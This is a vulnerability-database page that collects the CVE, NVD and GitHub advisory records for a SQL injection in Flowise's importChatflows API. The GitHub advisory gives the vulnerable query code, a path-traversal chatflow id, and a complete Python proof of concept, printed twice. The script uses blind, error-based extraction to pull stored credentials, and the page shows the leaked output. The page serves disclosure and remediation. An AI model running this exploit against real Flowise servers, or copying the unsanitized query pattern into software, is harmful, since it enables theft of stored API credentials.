Vulnerability-Lookup

CVE-2025-71332 (GCVE-0-2025-71332)

Vulnerability from cvelistv5 – Published: 2026-06-24 11:53 – Updated: 2026-06-24 18:31

Title

Flowise - SQL Injection in importChatflows API via chatflow.id Parameter

Summary

Flowise through 2.2.7 contains a SQL injection vulnerability in the importChatflows API. Due to insufficient validation of the chatflow.id value, an authenticated user can supply a crafted JSON import file whose id field is concatenated unsanitized into a SQL IN clause, allowing arbitrary SQL to be executed, including blind and error-based extraction of data from the credential table.

Severity

8.5 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-24 14:53 UTC

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Assigner

VulnCheck mitre root Scorecard

References

2 references

URL	Tags
https://github.com/FlowiseAI/Flowise/security/adv…	vendor-advisory
https://www.vulncheck.com/advisories/flowise-sql-…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version	CPE status
Flowise	Flowise	Affected: 0 , ≤ 2.2.7 (semver) cpe:2.3:a:flowiseai:flowise::::::::

Date Public

2025-04-07 00:00

Credits

Tribal1012

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2025-71332

Vulnerability from fkie_nvd - Published: 2026-06-24 13:16 - Updated: 2026-09-30 16:10

Severity

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
disclosure@vulncheck.com	https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9c4c-g95m-c8cp	Exploit, Vendor Advisory
disclosure@vulncheck.com	https://www.vulncheck.com/advisories/flowise-sql-injection-in-importchatflows-api-via-chatflow-id-parameter	Third Party Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9c4c-g95m-c8cp	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	flowiseai	flowise	*

JSON

To clipboard

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      ],
      "source": "disclosure@vulncheck.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "D26D79B5-FE4C-4E7B-AEEC-CEC3B61FDF54",
              "versionEndIncluding": "2.2.7",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Flowise through 2.2.7 contains a SQL injection vulnerability in the importChatflows API. Due to insufficient validation of the chatflow.id value, an authenticated user can supply a crafted JSON import file whose id field is concatenated unsanitized into a SQL IN clause, allowing arbitrary SQL to be executed, including blind and error-based extraction of data from the credential table."
    },
    {
      "lang": "es",
      "value": "Flowise hasta la versi\u00f3n 2.2.7 contiene una vulnerabilidad de inyecci\u00f3n SQL en la API importChatflows. Debido a una validaci\u00f3n insuficiente del valor chatflow.id, un usuario autenticado puede proporcionar un archivo de importaci\u00f3n JSON manipulado cuyo campo id se concatena sin sanear en una cl\u00e1usula SQL IN, permitiendo la ejecuci\u00f3n de SQL arbitrario, incluyendo la extracci\u00f3n de datos ciega y basada en errores de la tabla de credenciales."
    }
  ],
  "id": "CVE-2025-71332",
  "lastModified": "2026-09-30T16:10:00.223",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.2,
        "impactScore": 5.2,
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.5,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "HIGH",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-71332",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-24T14:53:13.620414Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-24T13:16:30.263",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9c4c-g95m-c8cp"
    },
    {
      "source": "disclosure@vulncheck.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.vulncheck.com/advisories/flowise-sql-injection-in-importchatflows-api-via-chatflow-id-parameter"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9c4c-g95m-c8cp"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-89"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

GHSA-9C4C-G95M-C8CP

Vulnerability from github – Published: 2025-04-07 18:55 – Updated: 2026-06-24 13:01

Summary

FlowiseDB vulnerable to SQL Injection by authenticated users

Details

Summary

import functions are vulnerable. * importChatflows * importTools * importVariables

Details

Authenticated user can call importChatflows API, import json file such as AllChatflows.json. but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.

Issue 1 (Bug Type) 1. Malicious user creates AllChatflows.json file by adding ../ and arbitrary path to the chatflow.id of the json file. json { "Chatflows": [ { "id": "../../../../../../apikey", "name": "clickme", "flowData": "{}" } ] } 2. Victim download this file, and import this to flowise. 3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.

Issue 2 (Vulnerability Type) importChatflows API use unsafe SQL Query.

// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {
        try {
        const appServer = getRunningExpressApp()

        // step 1 - check whether file chatflows array is zero
        if (newChatflows.length == 0) return

        // step 2 - check whether ids are duplicate in database
        let ids = '('
        let count: number = 0
        const lastCount = newChatflows.length - 1
        newChatflows.forEach((newChatflow) => {
            ids += `'${newChatflow.id}'`           // <===== user input
            if (lastCount != count) ids += ','
            if (lastCount == count) ids += ')'
            count += 1
        })

        const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)
            .createQueryBuilder('cf')
            .select('cf.id')
            .where(`cf.id IN ${ids}`)                   // <===== here
            .getMany()
        const foundIds = selectResponse.map((response) => {
            return response.id
        })

It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above. When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.

PoC

import argparse
import requests


def import_chatflows(
    url: str,
    token: str,
    payload: dict
):
    response = requests.post(
        f'{url}/api/v1/chatflows/importchatflows',
        headers={
            'Authorization': f'Bearer {token}'
            # 'Authorization': f'Basic {token}'
        },
        json=payload
    )

    return response.json()


def import_normal_data(
    api_url: str,
    token: str,
    normal_data: str
):
    data_id = 'aaaaaa'

    payload = {
        "Chatflows": [
            {
                "id": data_id,
                "name": normal_data,
                "flowData": "{}"
            }
        ]
    }

    import_chatflows(
        url=api_url,
        token=token,
        payload=payload
    )
    return data_id


def get_character(
    api_url: str,
    token: str,
    data_id: str,
    column_name: str,
    index: int
):
    injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'

    def create_payload(
        c: int
    ):
        return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "

    chatflows_json = {
        "Chatflows": [
            {
                "id": "",
                "name": data_id,
                "flowData": "{}"
            }
        ]
    }

    bitbox = [
        64, 32, 16, 8, 4, 2, 1
    ]
    character = 0
    for bit in bitbox:
        payload = create_payload(c=character + bit)
        chatflows_json['Chatflows'][0]['id'] = payload

        res = import_chatflows(
            url=api_url,
            token=token,
            payload=chatflows_json
        )
        if 'DOUBLE value is out of range' in res['message']:
            # character is more then bit
            character += bit
        else:
            # character is less then bit
            character += 0

    return chr(character)


def get_length(
    api_url: str,
    token: str,
    data_id: str,
    column_name: str
):
    injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'

    def create_payload(
        c: int
    ):
        return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "

    chatflows_json = {
        "Chatflows": [
            {
                "id": "",
                "name": data_id,
                "flowData": "{}"
            }
        ]
    }

    column_len = 0
    bitbox = [
        256, 128, 64, 32, 16, 8, 4, 2, 1
    ]
    for bit in bitbox:
        payload = create_payload(c=column_len + bit)
        chatflows_json['Chatflows'][0]['id'] = payload

        res = import_chatflows(
            url=api_url,
            token=token,
            payload=chatflows_json
        )
        if 'DOUBLE value is out of range' in res['message']:
            # column_len is more then bit
            column_len += bit
        else:
            # column_len is less then bit
            column_len += 0

    return column_len


def main(
    url: str,
    token: str
):
    api_url = url

    column_box = [
        'credentialName',
        'encryptedData'
    ]

    data_id = import_normal_data(
        api_url=api_url,
        token=token,
        normal_data='flow01'
    )

    for column_name in column_box:
        column_len = get_length(
            api_url=api_url,
            token=token,
            data_id=data_id,
            column_name=column_name
        )

        print(f'[+] {column_name} length is {column_len}')

        result = ''
        for i in range(column_len):
            result += get_character(
                api_url=api_url,
                token=token,
                data_id=data_id,
                column_name=column_name,
                index=i + 1
            )

        print(f'[+] {column_name}: {result}')


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument(
        '--url',
        type=str,
        default='http://flowise:3000'
    )
    parser.add_argument(
        '--access',
        type=str,
        required=True,
        help='Get from http://flowise:3000/apikey'
    )

    m_args = parser.parse_args()

    main(
        url=m_args.url,
        token=m_args.access
    )

poc results: encryptedData from flowise database credential table was successfully leaked.

/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==

It is recommended to limit all chatflow ids & chat ids to UUID.

Impact

Database leak
Lateral Movement

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.2.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-71332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-564"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-07T18:55:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nimport functions are vulnerable.\n* [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219)\n* [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.ts#L85)\n* [importVariables](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/variables/index.ts)\n\n### Details\n**Authenticated user** can call importChatflows API, import json file such as `AllChatflows.json`.\nbut Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.\n\n**Issue 1 (Bug Type)**\n1. Malicious user creates `AllChatflows.json` file by adding `../` and arbitrary path to the chatflow.id of the json file.\n    ```json\n    {\n      \"Chatflows\": [\n        {\n          \"id\": \"../../../../../../apikey\",\n          \"name\": \"clickme\",\n          \"flowData\": \"{}\"\n        }\n      ]\n    }\n    ```\n2. Victim download this file, and import this to flowise.\n3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.\n\n**Issue 2 (Vulnerability Type)**\nimportChatflows API use unsafe SQL Query.\n\n```javascript\n// packages/server/src/services/chatflows/index.ts\nconst importChatflows = async (newChatflows: Partial\u003cChatFlow\u003e[]): Promise\u003cany\u003e =\u003e {\n        try {\n        const appServer = getRunningExpressApp()\n\n        // step 1 - check whether file chatflows array is zero\n        if (newChatflows.length == 0) return\n\n        // step 2 - check whether ids are duplicate in database\n        let ids = \u0027(\u0027\n        let count: number = 0\n        const lastCount = newChatflows.length - 1\n        newChatflows.forEach((newChatflow) =\u003e {\n            ids += `\u0027${newChatflow.id}\u0027`           // \u003c===== user input\n            if (lastCount != count) ids += \u0027,\u0027\n            if (lastCount == count) ids += \u0027)\u0027\n            count += 1\n        })\n\n        const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)\n            .createQueryBuilder(\u0027cf\u0027)\n            .select(\u0027cf.id\u0027)\n            .where(`cf.id IN ${ids}`)                   // \u003c===== here\n            .getMany()\n        const foundIds = selectResponse.map((response) =\u003e {\n            return response.id\n        })\n```\nIt changes like `SELECT cf.id FROM cf WHERE cf.id IN (\u0027{USER-INPUT...}\u0027)` by the code above.\nWhen  `\u0027) {Malicious SQL Query} --` is passed to newChatflow.id, SQL Injection occurs.\n\n### PoC\n```python\nimport argparse\nimport requests\n\n\ndef import_chatflows(\n    url: str,\n    token: str,\n    payload: dict\n):\n    response = requests.post(\n        f\u0027{url}/api/v1/chatflows/importchatflows\u0027,\n        headers={\n            \u0027Authorization\u0027: f\u0027Bearer {token}\u0027\n            # \u0027Authorization\u0027: f\u0027Basic {token}\u0027\n        },\n        json=payload\n    )\n\n    return response.json()\n\n\ndef import_normal_data(\n    api_url: str,\n    token: str,\n    normal_data: str\n):\n    data_id = \u0027aaaaaa\u0027\n\n    payload = {\n        \"Chatflows\": [\n            {\n                \"id\": data_id,\n                \"name\": normal_data,\n                \"flowData\": \"{}\"\n            }\n        ]\n    }\n\n    import_chatflows(\n        url=api_url,\n        token=token,\n        payload=payload\n    )\n    return data_id\n\n\ndef get_character(\n    api_url: str,\n    token: str,\n    data_id: str,\n    column_name: str,\n    index: int\n):\n    injection_query = f\u0027(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)\u0027\n\n    def create_payload(\n        c: int\n    ):\n        return f\"{data_id}\u0027) and if (({injection_query})\u003c{c}, 0, 9e300 * 9e300); -- \"\n\n    chatflows_json = {\n        \"Chatflows\": [\n            {\n                \"id\": \"\",\n                \"name\": data_id,\n                \"flowData\": \"{}\"\n            }\n        ]\n    }\n\n    bitbox = [\n        64, 32, 16, 8, 4, 2, 1\n    ]\n    character = 0\n    for bit in bitbox:\n        payload = create_payload(c=character + bit)\n        chatflows_json[\u0027Chatflows\u0027][0][\u0027id\u0027] = payload\n\n        res = import_chatflows(\n            url=api_url,\n            token=token,\n            payload=chatflows_json\n        )\n        if \u0027DOUBLE value is out of range\u0027 in res[\u0027message\u0027]:\n            # character is more then bit\n            character += bit\n        else:\n            # character is less then bit\n            character += 0\n\n    return chr(character)\n\n\ndef get_length(\n    api_url: str,\n    token: str,\n    data_id: str,\n    column_name: str\n):\n    injection_query = f\u0027(SELECT length({column_name}) FROM credential limit 0,1)\u0027\n\n    def create_payload(\n        c: int\n    ):\n        return f\"{data_id}\u0027) and if (({injection_query})\u003c{c}, 0, 9e300 * 9e300); -- \"\n\n    chatflows_json = {\n        \"Chatflows\": [\n            {\n                \"id\": \"\",\n                \"name\": data_id,\n                \"flowData\": \"{}\"\n            }\n        ]\n    }\n\n    column_len = 0\n    bitbox = [\n        256, 128, 64, 32, 16, 8, 4, 2, 1\n    ]\n    for bit in bitbox:\n        payload = create_payload(c=column_len + bit)\n        chatflows_json[\u0027Chatflows\u0027][0][\u0027id\u0027] = payload\n\n        res = import_chatflows(\n            url=api_url,\n            token=token,\n            payload=chatflows_json\n        )\n        if \u0027DOUBLE value is out of range\u0027 in res[\u0027message\u0027]:\n            # column_len is more then bit\n            column_len += bit\n        else:\n            # column_len is less then bit\n            column_len += 0\n\n    return column_len\n\n\ndef main(\n    url: str,\n    token: str\n):\n    api_url = url\n\n    column_box = [\n        \u0027credentialName\u0027,\n        \u0027encryptedData\u0027\n    ]\n\n    data_id = import_normal_data(\n        api_url=api_url,\n        token=token,\n        normal_data=\u0027flow01\u0027\n    )\n\n    for column_name in column_box:\n        column_len = get_length(\n            api_url=api_url,\n            token=token,\n            data_id=data_id,\n            column_name=column_name\n        )\n\n        print(f\u0027[+] {column_name} length is {column_len}\u0027)\n\n        result = \u0027\u0027\n        for i in range(column_len):\n            result += get_character(\n                api_url=api_url,\n                token=token,\n                data_id=data_id,\n                column_name=column_name,\n                index=i + 1\n            )\n\n        print(f\u0027[+] {column_name}: {result}\u0027)\n\n\nif __name__ == \u0027__main__\u0027:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \u0027--url\u0027,\n        type=str,\n        default=\u0027http://flowise:3000\u0027\n    )\n    parser.add_argument(\n        \u0027--access\u0027,\n        type=str,\n        required=True,\n        help=\u0027Get from http://flowise:3000/apikey\u0027\n    )\n\n    m_args = parser.parse_args()\n\n    main(\n        url=m_args.url,\n        token=m_args.access\n    )\n```\n\n**poc results: encryptedData from flowise database credential table was successfully leaked.**\n```\n/app # python ex2.py --url http://flowise:3000 --access \"blahblah~~~\"\n[+] credentialName length is 9\n[+] credentialName: openAIApi\n[+] encryptedData length is 88\n[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==\n```\n\nIt is recommended to limit all chatflow ids \u0026 chat ids to UUID.\n\n### Impact\n* Database leak\n* Lateral Movement",
  "id": "GHSA-9c4c-g95m-c8cp",
  "modified": "2026-06-24T13:01:22Z",
  "published": "2025-04-07T18:55:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9c4c-g95m-c8cp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/4226"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FlowiseDB vulnerable to SQL Injection by authenticated users"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2025-71332 (GCVE-0-2025-71332)

FKIE_CVE-2025-71332

GHSA-9C4C-G95M-C8CP

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